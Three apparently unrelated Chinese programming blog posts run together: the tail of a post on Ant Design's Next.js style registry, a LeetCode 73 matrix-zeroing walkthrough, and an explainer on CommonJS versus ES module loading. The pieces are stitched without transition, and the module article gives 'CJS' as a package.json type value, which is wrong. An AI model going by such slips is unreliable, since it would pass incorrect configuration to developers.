import { useServerInsertedHTML } from 'next/navigation';
import React, { useState } from 'react';

type AntdRegistryProps = Omit<StyleProviderProps, 'cache'>;

const AntdRegistry: FC<AntdRegistryProps> = (props) => {
  const [cache] = useState(() => createCache());

  useServerInsertedHTML(() => {
    const styleText = extractStyle(cache, { plain: true, once: true });

    if (styleText.includes('.data-ant-cssinjs-cache-path{content:"";}')) {
      return null;
    }

    return (
      <style
        id="antd-cssinjs"
        // to make sure this style is inserted before Ant Design's style generated by client
        data-rc-order="prepend"
        data-rc-priority="-1000"
        dangerouslySetInnerHTML={{ __html: styleText }}
      />
    );
  });

  return <StyleProvider {...props} cache={cache} />;
};

export default AntdRegistry;

除了用 Next 的 API useServerInsertedHTML 把样式字符串插到页面上之外,和 Pages Router 中 Antd 收集首屏样式的写法几乎是一样的。

@ant-design/cssinjs

首先来看上文 const [cache] = useState(() => createCache()) 这一行。

@ant-design/cssinjs 部分仓库在 github.com/ant-design/…

它干了几件事:

  1. 生成唯一实例 ID。
  2. (仅客户端)将 body 中的样式移到 head 中,并且去重。
export function createCache() {
  const cssinjsInstanceId = Math.random().toString(12).slice(2);

  // Tricky SSR: Move all inline style to the head.
  // PS: We do not recommend tricky mode.
  if (typeof document !== 'undefined' && document.head && document.body) {
    const styles = document.body.querySelectorAll(`style[${ATTR_MARK}]`) || [];
    const { firstChild } = document.head;

    Array.from(styles).forEach((style) => {
      (style as any)[CSS_IN_JS_INSTANCE] =
        (style as any)[CSS_IN_JS_INSTANCE] || cssinjsInstanceId;

      // Not force move if no head
      if ((style as any)[CSS_IN_JS_INSTANCE] === cssinjsInstanceId) {
        document.head.insertBefore(style, firstChild);
      }
    });

    // Deduplicate of moved styles
    const styleHash: Record<string, boolean> = {};
    Array.from(document.querySelectorAll(`style[${ATTR_MARK}]`)).forEach(
      (style) => {
        const hash = style.getAttribute(ATTR_MARK)!;
        if (styleHash[hash]) {
          if ((style as any)[CSS_IN_JS_INSTANCE] === cssinjsInstanceId) {
            style.parentNode?.removeChild(style);
          }
        } else {
          styleHash[hash] = true;
        }
      },
    );
  }

  return new CacheEntity(cssinjsInstanceId);
}
  1. 返回一个类包裹的 Map 结构,在 StyleProvider 中由后代组件把首屏所需样式传回。结构如下所示:
export type KeyType = string | number;
type ValueType = [number, any];
/** Connect key with `SPLIT` */
export declare function pathKey(keys: KeyType[]): string;
declare class Entity {
    instanceId: string;
    constructor(instanceId: string);
    /** @private Internal cache map. Do not access this directly */
    cache: Map<string, ValueType>;
    extracted: Set<string>;
    get(keys: KeyType[]): ValueType | null;
    /** A fast get cache with `get` concat. */
    opGet(keyPathStr: string): ValueType | null;
    update(keys: KeyType[], valueFn: (origin: ValueType | null) => ValueType | null): void;
    /** A fast get cache with `get` concat. */
    opUpdate(keyPathStr: string, valueFn: (origin: ValueType | null) => ValueType | null): void;
}
export default Entity;

至于 StyleProvider,除了整合上层 StyleProvider 注入的样式外,它基本上是一个普通的 Context.Provider,作用也很好猜,把 createCache 返回的 Map 结构注入到下层组件中。

const StyleContext = React.createContext<StyleContextProps>({
  hashPriority: 'low',
  cache: createCache(),
  defaultCache: true,
  autoPrefix: false,
})

export const StyleProvider: React.FC<StyleProviderProps> = (props) => {
  // ...
  return (
    <StyleContext.Provider value={context}>{children}</StyleContext.Provider>
  );
};

Antd 组件的调用路径

具体源码就不细看了,以按钮组件 Button 为例,调用路径大致如下:

flowchart TD
    subgraph CSSInJS 底层机制
        genStyleUtils["@ant-design/cssinjs-utils<br/>genStyleUtils"]
        genStyleHooks["@ant-design/cssinjs-utils<br/>genStyleHooks"]
        genComponentStyleHook["@ant-design/cssinjs-utils<br/>genComponentStyleHook"]
        useStyleRegister["@ant-design/cssinjs<br/>useStyleRegister"]
        useGlobalCache["@ant-design/cssinjs<br/>useGlobalCache"]
    end

    subgraph Antd 组件层
        useStyleAntd[useStyle]
        Button[Button组件]
        JSX[写入到JSX并返回]
    end

    genStyleUtils -->|生成| genStyleHooks
    genStyleHooks -->|调用| genComponentStyleHook
    genComponentStyleHook -->|调用| useStyleRegister
    useStyleRegister -->|调用| useGlobalCache
    
    genStyleHooks -->|返回| useStyleAntd
    
    Button -->|调用| useStyleAntd
    useStyleAntd -->|样式注入| JSX

在 useGlobalCache 中 调用 React.useContext(StyleContext)cache.onUpdate方法更新缓存。

总结

这次碰到的问题其实挺典型的:升级了依赖,结果页面出问题了。解决方法很简单——把 @ant-design/nextjs-registry 从 1.3.0 降级到 1.2.0,让它跟 antd 用的 @ant-design/cssinjs 内部版本对上就行了。

以后要是用 Next.js App Router 配 Ant Design 遇到类似情况,可以先看看这两个包的版本是不是兼容。有时候问题没看起来那么复杂,可能就是版本没对上。

出于好奇,我还顺便看了一下 AntdRegistry 内部的实现——发现它主要是通过 StyleProvider 在服务端收集样式,然后通过 useServerInsertedHTML 在客户端首次渲染时注入到 style 标签中,这样就能避免样式闪烁的问题。

大家的阅读是我发帖的动力,本文首发于我的博客:deer.shika-blog.xyz,欢迎大家来玩, 转载请注明出处。

不用 Set,只用两个布尔值:如何用标志位将矩阵置零的空间复杂度压到 O(1)


🧩 LeetCode 73. 矩阵置零:从暴力 Set 到 O(1) 原地算法(附完整解析)

题目要求:给定一个 m x n 的整数矩阵,若某个元素为 0,则将其所在整行和整列全部置为 0
关键限制:必须 原地修改(in-place) ,不能返回新数组。

在刷这道题时,我一开始写了暴力解法,后来尝试优化空间,却踩了几个经典坑。今天就用我自己的代码,带大家一步步理解如何从 O(m+n) 空间优化到 O(1),以及为什么第一行和第一列要特殊处理

先看题目:73. 矩阵置零 - 力扣(LeetCode)


image.png

🔥 第一步:暴力解法(清晰但非最优)

最直观的想法是:

  • 遍历矩阵,记录所有含 0行号列号
  • 再遍历一次,把对应行列置零
// 暴力法
let xZero = new Set();
let yZero = new Set();
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (matrix[i][j] === 0) {
            xZero.add(i);
            yZero.add(j);
        }
    }
}
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (xZero.has(i) || yZero.has(j))
            matrix[i][j] = 0;
    }
}

优点:逻辑简单,一次 AC
缺点:用了两个 Set,空间复杂度 O(m + n),不符合“极致原地”的要求

面试官可能会问:“能不能不用额外空间?”

于是,我开始思考:能不能把标记信息存在矩阵自己身上?


🚀 第二步:空间优化 —— 利用第一行和第一列做标记

💡 核心思想

  • matrix[i][0] == 0 表示第 i 行需要置零
  • matrix[0][j] == 0 表示第 j 列需要置零

这样,我们就把“标记位”复用到了矩阵的第一列和第一行上,省下了 O(m+n) 的空间

但问题来了:

如果第一行或第一列本来就有 0,我们怎么知道这个 0 是“原始数据”还是“后来设置的标记”?

举个例子:

[
  [1, 0, 1],
  [1, 1, 1],
  [1, 1, 1]
]
  • 这里的 matrix[0][1] = 0 是原始数据,意味着第 0 行和第 1 列都要清零
  • 但如果我们在后续过程中把它当作“标记”,可能会漏掉对第 0 行的清零!

所以,必须提前记录第一行和第一列是否原本就有 0


✅ 我的优化代码-标记法

/**
 * @param {number[][]} matrix
 * @return {void} Do not return anything, modify matrix in-place instead.
 */
var setZeroes = function(matrix) {
    let x = matrix.length;
    let y = matrix[0].length;

    // 用两个布尔值记录第一行/列是否原本有0
    let xZero = false;  // 实际表示:第一行是否有0
    let yZero = false;  // 实际表示:第一列是否有0

    // 检查第一列(所有 matrix[i][0])
    for (let i = 0; i < x; i++) {
        if (matrix[i][0] === 0) {
            yZero = true;
            break;
        }
    }

    // 检查第一行(所有 matrix[0][i])
    for (let i = 0; i < y; i++) {
        if (matrix[0][i] === 0) {
            xZero = true;
            break;
        }
    }

    // 用第一行/列作为标记区(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[i][j] === 0) {
                matrix[i][0] = 0; // 标记该行
                matrix[0][j] = 0; // 标记该列
                // ⚠️ 注意:这里不能加 break!否则会漏掉同一行的多个0
            }
        }
    }

    // 根据标记置零(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[0][j] === 0 || matrix[i][0] === 0) {
                matrix[i][j] = 0;
            }
        }
    }

    // 单独处理第一行
    if (xZero) {
        for (let i = 0; i < y; i++) {
            matrix[0][i] = 0;
        }
    }

    // 单独处理第一列
    if (yZero) {
        for (let i = 0; i < x; i++) {
            matrix[i][0] = 0;
        }
    }

    // 注意:题目要求 void,不要 return matrix(虽然JS不报错)
};

📌 说明:虽然我用 xZero 表示“第一行是否有0”、yZero 表示“第一列是否有0”,命名稍有反直觉,但逻辑是正确的。建议实际开发中改用 firstRowHasZero / firstColHasZero 提高可读性。


❗ 我踩过的关键 bug

在标记循环中加了 break

错误写法

if(matrix[i][j]===0) {
    matrix[0][j]=0;
    matrix[i][0]=0;
    break; // ← 错!
}

后果:一行中有多个 0 时,只标记第一个,后面的列不会被置零!

修复删除 break,让内层循环完整遍历。


🤔 为什么必须单独处理第一行和第一列?

这是本题的灵魂所在!

  • 我们借用第一行和第一列来存储“其他行列是否要清零”的信息。

  • 但它们自己也可能是“受害者”(原本就有 0)。

  • 如果不提前记录,最后无法判断:

    “这个 0 是用来标记别人的,还是自己需要被清零?”

因此,先扫描、再标记、最后统一处理,是唯一安全的做法。

就像借朋友的笔记本做笔记前,先拍照保存他原来写的内容,避免覆盖。


✅ 复杂度对比

方法 时间复杂度 空间复杂度 是否原地
暴力 Set O(mn) O(m + n)
原地标记法 O(mn) O(1)

💬 结语

通过这道题,我深刻体会到:

  • 原地算法的核心:巧妙复用已有空间,同时避免信息污染
  • 边界处理的重要性:第一行/列既是“工具”又是“数据”,必须特殊对待
  • 细节决定成败:一个多余的 break,就能让代码全盘皆错

希望我的踩坑经历能帮你少走弯路!如果你也有类似经历,欢迎在评论区分享~

LeetCode 不只是刷题,更是思维训练。
共勉!


深入理解 JavaScript 模块系统:CJS 与 ESM 的实现原理

你真的理解 requireimport 的区别吗?不只是语法不同,它们的加载时机、值的传递方式、循环依赖处理都截然不同。本文通过 require 源码和 ESM 规范,解释这些差异背后的实现机制,让你彻底搞懂 JavaScript 模块系统的运行原理。

模块化的演进

JavaScript 最初为浏览器脚本语言,没有模块系统。随着应用规模增长,全局变量污染和代码组织问题凸显,催生了模块化方案。

全局变量时代:所有代码共享全局作用域,变量冲突频发。

// 多个脚本容易产生命名冲突
var data = "script1";
var data = "script2"; // 覆盖前一个

IIFE 模式:利用函数作用域隔离变量。

var Module = (function () {
  var private = "private";
  return { public: "public" };
})();

CJS (2009):Node.js 采用,服务端模块规范。

AMD (2010):RequireJS 推广,浏览器异步加载方案。

ESM(2015):ECMAScript 官方标准,静态结构。

语法对比

CJS 语法

导出方式

// 1. module.exports 导出对象
module.exports = { name: "foo", version: "1.0" };

// 2. module.exports 导出函数
module.exports = function () {};

// 3. module.exports 导出类
module.exports = class MyClass {};

// 4. exports 添加属性(exports 是 module.exports 的引用)
exports.name = "foo";
exports.version = "1.0";

// 注意:直接赋值 exports 会断开引用
// exports = {} // ❌ 无效

导入方式

// 1. 导入整个模块
const module = require("./module");

// 2. 解构导入
const { name, version } = require("./module");

// 3. 动态路径(运行时计算)
const env = "production";
const config = require(`./config.${env}`);

// 4. 条件导入
if (condition) {
  const module = require("./module");
}

ESM 语法

导出方式

// 1. 命名导出 (Named Export)
export const name = 'foo';
export function fn() {}
export class MyClass {}

// 2. 批量命名导出
const name = 'foo';
const version = '1.0';
export { name, version };

// 3. 重命名导出
export { name as moduleName };

// 4. 默认导出 (Default Export) - 每个模块只能有一个
export default function() {}
// 或
export default class MyClass {}
// 或
export default { name: 'foo' };

// 5. 混合导出(命名 + 默认)
export const name = 'foo';
export default function() {}

// 6. 转发导出
export { name } from './other.js';
export * from './other.js';
export { default as otherDefault } from './other.js';

导入方式

// 1. 导入命名导出
import { name, version } from "./module.js";

// 2. 导入并重命名
import { name as moduleName } from "./module.js";

// 3. 导入默认导出
import MyModule from "./module.js";

// 4. 混合导入
import MyModule, { name, version } from "./module.js";

// 5. 导入所有命名导出为命名空间对象
import * as Module from "./module.js";

// 6. 仅执行模块
import "./module.js";

// 7. 动态导入(可在任意位置,返回 Promise)
const module = await import("./module.js");
// 或
if (condition) {
  import("./module.js").then((module) => {});
}

CJS 加载机制

CJS 是 Node.js 实现的模块系统。不同于语言层面的特性,CJS 是一个运行时概念,核心是 Node.js 内置的 require 函数。理解 require 的实现原理,有助于理解 CJS 的各种特性。

require 实现原理

require 函数负责加载模块,内部维护 require.cache 缓存对象。下面是简化的伪源码:

function require(modulePath) {
  // 1. 解析为绝对路径
  const absolutePath = require.resolve(modulePath);

  // 2. 检查缓存
  if (require.cache[absolutePath]) {
    return require.cache[absolutePath].exports;
  }

  // 3. 创建 Module 对象
  const module = {
    id: absolutePath,
    exports: {},
    loaded: false,
    // ... 其他属性
  };

  // 4. 提前放入缓存(处理循环依赖的关键)
  require.cache[absolutePath] = module;

  // 5. 读取文件内容
  const code = fs.readFileSync(absolutePath, "utf8");

  // 6. 包装为函数
  const wrapper = "(function (exports, require, module, __filename, __dirname) { " + code + "\n});";

  // 7. 编译并执行
  const compiledWrapper = vm.runInThisContext(wrapper);
  compiledWrapper.call(
    module.exports, // this 指向 exports
    module.exports, // 参数 1: exports
    require, // 参数 2: require
    module, // 参数 3: module
    absolutePath, // 参数 4: __filename
    path.dirname(absolutePath) // 参数 5: __dirname
  );

  // 8. 标记为已加载
  module.loaded = true;

  // 9. 返回 module.exports
  return module.exports;
}

// require.cache: 缓存对象
require.cache = {};

// require.resolve: 解析路径
require.resolve = function (modulePath) {
  // 解析算法:相对路径、绝对路径、node_modules 查找等
  return absolutePath;
};

从伪源码可以看出,require 做了这些事:解析路径、检查缓存、创建 Module 对象、提前放入缓存、包装并执行代码、返回 module.exports。这种设计带来了以下特性。

官方文档Node.js Modules: The module wrapper | Node.js Modules: require

同步执行,不支持 top-level await

从伪源码的第 5 步可以看到,require 使用 fs.readFileSync 同步读取文件,会阻塞代码直到模块加载完成。由于 CJS 模块代码被包装在普通函数中(非 async 函数),因此不支持 top-level await。

// module.js
console.log("module 执行");
module.exports = { name: "foo" };

// main.js
console.log("开始");
const mod = require("./module"); // 阻塞,等待 module.js 执行完成
console.log("结束", mod.name);

// 输出:
// 开始
// module 执行
// 结束 foo

// ❌ CJS 不支持 top-level await
// await someAsyncFunction(); // SyntaxError: await is only valid in async functions

值拷贝

伪源码的第 4 步将 Module 对象放入缓存,第 2 步检查缓存时直接返回 module.exports。这意味着所有 require 返回的是同一个对象引用。

// counter.js
let count = 0;
module.exports = {
  count: count, // 导出时 count 的值为 0
  increment() {
    count++;
  },
};

// main.js
const counter = require("./counter");
console.log(counter.count); // 0
counter.increment();
console.log(counter.count); // 0(对象属性未变,count 是模块内部变量)

// other.js
const counter2 = require("./counter");
console.log(counter === counter2); // true(同一个对象)

循环依赖处理

伪源码的关键设计是第 4 步:在模块代码执行前,就将 Module 对象放入缓存(此时 loaded: false)。这使得循环依赖时,后加载的模块能拿到前一个模块未完成的 exports

// a.js
console.log("a 开始");
exports.done = false;
const b = require("./b");
console.log("在 a 中,b.done =", b.done);
exports.done = true;
console.log("a 结束");

// b.js
console.log("b 开始");
exports.done = false;
const a = require("./a"); // 此时 a 未执行完,exports.done = false
console.log("在 b 中,a.done =", a.done);
exports.done = true;
console.log("b 结束");

// main.js
require("./a");

// 输出:
// a 开始
// b 开始
// 在 b 中,a.done = false
// b 结束
// 在 a 中,b.done = true
// a 结束

官方文档Node.js Modules: Cycles

不要重新赋值 exports

伪源码第 7 步执行包装函数时,将 module.exports 作为参数传入,赋值给 exports。这意味着 exports 只是 module.exports 的引用。一旦重新赋值 module.exports,引用关系就断开,之后修改 exports 就无法导出了。

// module.js
exports.name = "foo";
console.log(exports === module.exports); // true

module.exports = { version: "1.0" }; // 重新赋值
console.log(exports === module.exports); // false

exports.age = 18; // 无效,exports 已失效

// main.js
const mod = require("./module");
console.log(mod); // { version: '1.0' }

缓存清除与模块重载

由于 require.cache 是一个普通的 JavaScript 对象,可以通过删除缓存来强制重新加载模块。这在开发热重载等场景中很有用。

// module.js
console.log("模块执行");
module.exports = { timestamp: Date.now() };

// main.js
const mod1 = require("./module"); // 输出: 模块执行
console.log(mod1.timestamp);

// 删除缓存
delete require.cache[require.resolve("./module")];

const mod2 = require("./module"); // 再次输出: 模块执行
console.log(mod2.timestamp); // 不同的时间戳
console.log(mod1 === mod2); // false

官方文档Node.js Modules: require.cache

ESM 加载机制

ESM 是 ECMAScript 标准定义的模块系统,是语言层面的特性。不同于 CJS 的运行时加载,ESM 在代码执行前进行静态分析,确定模块依赖关系。

ESM 加载过程

ESM 的加载过程是将入口文件(entry point file)转换为模块实例(module instance)的过程。这个过程分为三个阶段:Construction(构建)、Instantiation(实例化)、Evaluation(求值)。

核心概念

Module Record(模块记录)

  • 文件被解析后生成的数据结构
  • 包含模块的 import/export 信息、代码等

Module Instance(模块实例)

  • 由代码(code)和状态(state)组成
  • 代码是指令集(如何做事的配方)
  • 状态是变量的实际值(存储在内存中)

Entry Point File(入口文件)

  • 模块图的起点
  • 浏览器通过 <script type="module" src="main.js"> 指定入口

阶段 1:Construction(构建)

查找、获取、解析文件,构建模块图。

graph TD
    A[入口文件 main.js] --> B[解析 import 语句]
    B --> C[找到依赖 counter.js]
    C --> D[获取 counter.js]
    D --> E[解析 counter.js]
    E --> F[递归处理所有依赖]
    F --> G[生成 Module Records]

关键点

  • Loader 负责查找和获取文件,浏览器和 Node 的 loader 不同
  • 解析时识别所有静态 import/export 声明
  • 逐层构建完整的模块依赖图
  • 动态 import() 不在此阶段处理

Module Map(模块映射)

  • Loader 使用 Module Map 缓存模块
  • 键是模块的唯一标识,值是 Module Record
  • 确保每个模块只被加载和解析一次
// Module Map 示例(概念)
{
  'https://example.com/main.js': ModuleRecord { ... },
  'https://example.com/counter.js': ModuleRecord { ... }
}

阶段 2:Instantiation(实例化)

在内存中为导出值分配空间,建立 import/export 的实时绑定(live bindings)。

graph TD
    A[遍历模块图] --> B[创建 Module Environment Record]
    B --> C[为 export 在内存中分配空间]
    C --> D[建立 import/export 的实时绑定]
    D --> E[验证所有 import 有对应的 export]

实时绑定(Live Bindings)

  • Export 和 import 指向内存中的同一个位置
  • 导出模块修改值,导入模块能看到变化
  • 与 CJS 的值拷贝不同
// counter.js
export let count = 0;
export function increment() {
  count++; // 修改 count
}

// main.js
import { count, increment } from "./counter.js";
console.log(count); // 0
increment();
console.log(count); // 1(实时绑定,看到了变化)

关键点

  • 此阶段只分配内存,不填充值
  • 导出的函数声明会在此阶段初始化
  • 使用深度优先后序遍历(depth-first post-order traversal)

阶段 3:Evaluation(求值)

执行模块的顶层代码(top-level code),填充内存中的值。

graph TD
    A[按依赖顺序执行模块] --> B[执行顶层代码]
    B --> C[填充导出值]
    C --> D{有副作用?}
    D -->|是| E[触发副作用<br>如网络请求]
    D -->|否| F[完成]
    E --> F

关键点

  • 顶层代码:函数外的代码
  • 每个模块只求值一次(Module Map 确保)
  • 可能产生副作用(side effects):网络请求、修改 DOM 等
  • 深度优先后序遍历:先求值依赖,再求值当前模块

浏览器和 Node.js 的 Construction 差异

ESM 的三阶段加载流程在浏览器和 Node.js 中是一致的,但在 Construction 阶段存在差异。Construction 包含两个过程:Module Resolution(模块解析,确定模块路径)和 Fetch(获取文件)。

浏览器

Module Resolution(模块解析):

浏览器使用完整的 URL 作为模块标识符。

<!-- 入口文件 -->
<script type="module" src="/main.js"></script>
// main.js - 必须使用相对路径或绝对路径
import { add } from "./math.js"; // ✅ 相对路径
import { config } from "/config.js"; // ✅ 绝对路径
import { api } from "https://cdn.example.com/api.js"; // ✅ 完整 URL

// ❌ 裸模块标识符(bare specifier)不支持
import { lodash } from "lodash"; // 报错:Failed to resolve module specifier

Import Maps:浏览器通过 Import Maps 支持裸模块标识符。

<script type="importmap">
  {
    "imports": {
      "lodash": "https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.js",
      "vue": "/node_modules/vue/dist/vue.esm-browser.js"
    }
  }
</script>

<script type="module">
  import _ from "lodash"; // ✅ 解析为 https://cdn.jsdelivr.net/npm/...
  import { createApp } from "vue"; // ✅ 解析为 /node_modules/vue/...
</script>

官方文档HTML Standard: Import maps

Fetch(获取文件):

  • 并行下载:浏览器会并行发起多个 HTTP 请求下载依赖模块
  • 阻塞行为:必须等所有依赖下载完才能进入 Instantiation 阶段
  • 非阻塞渲染<script type="module"> 默认具有 defer 特性,不会阻塞页面渲染
graph TD
    A[Module Resolution:<br/>解析模块路径] --> B[Fetch: 发起 HTTP 请求]
    B --> C[并行下载 a.js]
    B --> D[并行下载 b.js]
    B --> E[并行下载 c.js]
    C --> F[等待所有依赖下载完成]
    D --> F
    E --> F
    F --> G[进入 Instantiation 阶段]

Node.js

Module Resolution(模块解析):

Node.js 支持裸模块标识符,使用复杂的解析算法查找模块。

// Node.js 支持多种导入方式
import { readFile } from "fs"; // ✅ 内置模块
import express from "express"; // ✅ node_modules 查找
import { add } from "./math.js"; // ✅ 相对路径
import { config } from "/abs/path/config.js"; // ✅ 绝对路径

Node.js 的解析算法:

  1. 内置模块:如 fspath,直接返回
  2. 相对/绝对路径:按路径查找
  3. 裸模块标识符:从当前目录开始,逐层向上查找 node_modules
// 当前文件:/project/src/index.js
import express from "express";

// Node.js 查找顺序:
// 1. /project/src/node_modules/express
// 2. /project/node_modules/express
// 3. /node_modules/express

package.json 的 exports 字段

{
  "name": "my-package",
  "exports": {
    ".": "./dist/index.js",
    "./utils": "./dist/utils.js"
  }
}
import pkg from "my-package"; // 解析为 ./dist/index.js
import utils from "my-package/utils"; // 解析为 ./dist/utils.js

官方文档Node.js: Modules: Packages | Node.js: ECMAScript modules

Fetch(获取文件):

  • 同步读取:Node.js 使用同步 I/O 读取本地文件
  • 无网络延迟:读取本地文件速度快,但仍需等待所有依赖读取完
  • 性能影响:大量模块时文件 I/O 仍有性能影响
graph TD
    A[Module Resolution:<br/>解析模块路径] --> B[Fetch: 同步读取 a.js]
    B --> C[同步读取 b.js]
    C --> D[同步读取 c.js]
    D --> E[所有文件读取完成]
    E --> F[进入 Instantiation 阶段]

动态 import

ESM 提供两种导入方式:静态导入import 声明)和动态导入import() 函数)。

静态导入

静态导入在 Construction 阶段处理,必须在模块顶层使用。

// ✅ 顶层静态导入
import { add } from "./math.js";
import express from "express";

// ❌ 不能在代码块、函数、条件语句中使用
if (condition) {
  import { add } from "./math.js"; // SyntaxError
}

function loadModule() {
  import express from "express"; // SyntaxError
}

特点

  • 在代码执行前完成(Construction 阶段)
  • 支持静态分析:打包工具可进行 tree-shaking
  • 路径必须是静态字符串(不能是变量)
const path = './math.js';
import { add } from path;  // ❌ SyntaxError

动态导入 import()

import() 是一个返回 Promise 的函数,可在任意位置使用。

// ✅ 条件加载
if (condition) {
  const module = await import("./module.js");
}

// ✅ 函数内使用
async function loadModule() {
  const express = await import("express");
  return express.default;
}

// ✅ 动态路径
const env = "production";
const config = await import(`./config.${env}.js`);

// ✅ 按需加载(代码分割)
button.addEventListener("click", async () => {
  const { Chart } = await import("./chart.js");
  new Chart(data);
});

返回值:Module Namespace Object(模块命名空间对象)

// math.js
export const add = (a, b) => a + b;
export default function multiply(a, b) {
  return a * b;
}

// main.js
const module = await import("./math.js");
console.log(module);
// {
//   add: [Function: add],
//   default: [Function: multiply]
// }

module.add(1, 2); // 3
module.default(2, 3); // 6

静态导入 vs 动态导入

特性 静态导入 import 动态导入 import()
语法 声明语句 函数调用(返回 Promise)
使用位置 仅模块顶层 任意位置(函数、代码块等)
路径 必须是静态字符串 可以是动态表达式
执行时机 Construction 阶段 运行时(Evaluation 阶段)
Tree-shaking ✅ 支持 ❌ 不支持
条件加载 ❌ 不支持 ✅ 支持
返回值 直接绑定导出值 Promise

官方文档TC39: import()

静态结构

ESM 的 静态import/export 声明具有静态结构,在代码执行前就能确定模块依赖关系。这使得编译器和打包工具能在 Construction 阶段进行静态分析,带来诸多优化。

1. Tree-shaking(树摇优化)

打包工具能识别未使用的导出,移除死代码。

// utils.js
export function add(a, b) {
  return a + b;
}
export function subtract(a, b) {
  return a - b;
} // 未被使用
export function multiply(a, b) {
  return a * b;
} // 未被使用

// main.js
import { add } from "./utils.js";
console.log(add(1, 2));

// 打包后:subtract 和 multiply 被移除

2. 循环依赖检测

构建工具能在编译时检测循环依赖。

// a.js
import { b } from "./b.js";
export const a = 1;

// b.js
import { a } from "./a.js"; // 循环依赖
export const b = 2;

// 构建工具可在编译时发出警告

3. 导出验证

在 Instantiation 阶段验证所有导入是否有对应的导出。

// math.js
export const add = (a, b) => a + b;

// main.js
import { add, subtract } from "./math.js";
// 错误:Instantiation 阶段报错
// SyntaxError: The requested module './math.js' does not provide an export named 'subtract'

值实时绑定,不能在导入后被修改

ESM 的导出和导入建立实时绑定(Live Bindings):import 和 export 指向内存中的同一位置,导出模块修改值时,导入模块能实时看到变化。

// counter.js
export let count = 0;
export function increment() {
  count++;
}

// main.js
import { count, increment } from "./counter.js";

console.log(count); // 0
increment();
console.log(count); // 1 - 实时看到变化

// ❌ 导入的绑定是只读的
count = 10; // TypeError: Assignment to constant variable

原理:在 Instantiation 阶段,count 在内存中只有一份,import 和 export 都指向这个位置。

graph LR
    A[counter.js: export count] -->|指向| C[内存地址 0x1234]
    B[main.js: import count] -->|指向| C
    D[counter.js: increment 修改 count] -->|修改| C

官方文档TC39: Module Environment Records | Node.js: Modules: Cycles

循环依赖处理

ESM 通过实时绑定三阶段加载优雅地处理循环依赖。

// a.js
import { b } from "./b.js";
export let a = "a";
console.log("a.js:", b);

// b.js
import { a } from "./a.js";
export let b = "b";
console.log("b.js:", a); // ReferenceError: Cannot access 'a' before initialization

// main.js
import "./a.js";

执行流程

  1. Construction 阶段:构建模块图,main.jsa.jsb.js
  2. Instantiation 阶段
    • a.jsa 在内存中分配空间(未赋值)
    • b.jsb 在内存中分配空间(未赋值)
    • 建立实时绑定:a.js 的 import 绑定到 b.js 的 export,反之亦然
  3. Evaluation 阶段(深度优先后序遍历):
    • 先执行 b.js:此时 a 还未赋值,直接报错 Cannot access 'a' before initialization

关键点

  • Instantiation 阶段已建立所有绑定关系
  • Evaluation 阶段只是填充值
  • 实时绑定,并且被初始化后,才能访问到正确的值

支持 top-level await

ESM 支持在模块顶层直接使用 await,无需包裹在 async 函数中。CJS 模块被包装在普通函数中执行,不支持 top-level await。

// data.js
const response = await fetch("https://api.example.com/data");
export const data = await response.json();

// main.js
import { data } from "./data.js";
console.log(data); // 等待 data.js 完成后执行

执行时机

  • top-level await 在 Evaluation 阶段执行
  • 当前模块会暂停,等待 Promise 完成
  • 依赖当前模块的父模块也会等待
graph TD
    A[main.js: import data.js] --> B[Construction: 构建模块图]
    B --> C[Instantiation: 建立绑定]
    C --> D[Evaluation: 执行 data.js]
    D --> E[data.js: await fetch...]
    E --> F[暂停, 等待 Promise 完成]
    F --> G[Promise 完成, 继续执行]
    G --> H[data.js 完成]
    H --> I[执行 main.js]

使用场景

// 1. 动态加载配置
const config = await import(`./config.${process.env.NODE_ENV}.js`);
export default config;

// 2. 等待数据库连接
import mongoose from "mongoose";
await mongoose.connect(process.env.DB_URL);
export { mongoose };

// 3. 条件加载 polyfill
const locale = navigator.language;
if (!Intl.PluralRules) {
  await import(`https://cdn.example.com/polyfill/${locale}.js`);
}

注意事项

// ⚠️ 阻塞效应:所有依赖此模块的模块都会等待
// slow-module.js
await new Promise((resolve) => setTimeout(resolve, 5000));
export const value = "done";

// main.js
import { value } from "./slow-module.js"; // 等待 5 秒
console.log(value);

// ⚠️ 错误处理:未捕获的 Promise rejection 会导致模块加载失败
await fetch("https://invalid-url.com/data"); // 整个模块加载失败

常见问题

ESM 相比 CJS 有什么好处?

1. 静态分析,支持 Tree-shaking

ESM 的 import/export 在编译时就能确定依赖关系,打包工具可以移除未使用的代码,显著减小打包体积。CJS 的 require 是运行时调用,无法静态分析。

2. 原生支持,无需打包

ESM 是 ECMAScript 标准,浏览器和 Node.js 原生支持。CJS 需要打包工具(Webpack、Browserify)转换才能在浏览器运行。

3. 异步加载,不阻塞渲染

ESM 在浏览器中异步加载,不会阻塞页面渲染(<script type="module"> 默认 defer)。CJS 同步加载不适合浏览器。

4. 实时绑定,动态反映变化

ESM 的导入导出是实时绑定,导出模块修改值时,导入模块能立即看到变化。CJS 是值拷贝,看不到后续变化。

5. 支持 Top-level await

ESM 可以在模块顶层直接使用 await,适合异步初始化场景(如数据库连接、配置加载)。CJS 不支持。

6. 更好的循环依赖处理

ESM 通过实时绑定处理循环依赖,虽然访问未初始化变量会报错(TDZ),但更容易发现问题。CJS 返回未完成的 exports,容易产生难以调试的 bug。

7. 统一的模块标准

ESM 是浏览器和 Node.js 通用的标准,同一套代码可以跨平台运行,无需维护两套模块系统。

在 Node.js 中 CJS 和 ESM 能否互相引用?

ESM 引用 CJS:✅ 支持

ESM 可以通过 import 引用 CJS 模块,Node.js 会将 module.exports 作为默认导出。

CJS 引用 ESM:❌ 不支持同步引用

CJS 的 require 是同步的,无法加载异步的 ESM 模块。必须使用动态 import() 函数(返回 Promise)。

官方文档Node.js: Interoperability with CJS

Node 中如何判断一个 .js 文件是 CJS 还是 ESM?

Node.js 通过以下规则判断:

  1. 文件扩展名.mjs 文件是 ESM,.cjs 文件是 CJS
  2. package.json 的 type 字段
    • "type": "module".js 文件视为 ESM
    • "type": "CJS" 或无 type 字段:.js 文件视为 CJS(默认)
  3. 查找最近的 package.json:从当前文件向上查找最近的 package.json

官方文档Node.js: Determining module system

ESM 和 CJS 的差异

维度 CJS ESM
定位 Node.js 运行时模块系统 ECMAScript 语言标准
加载时机 运行时(同步) 编译时静态分析
语法 require / module.exports import / export
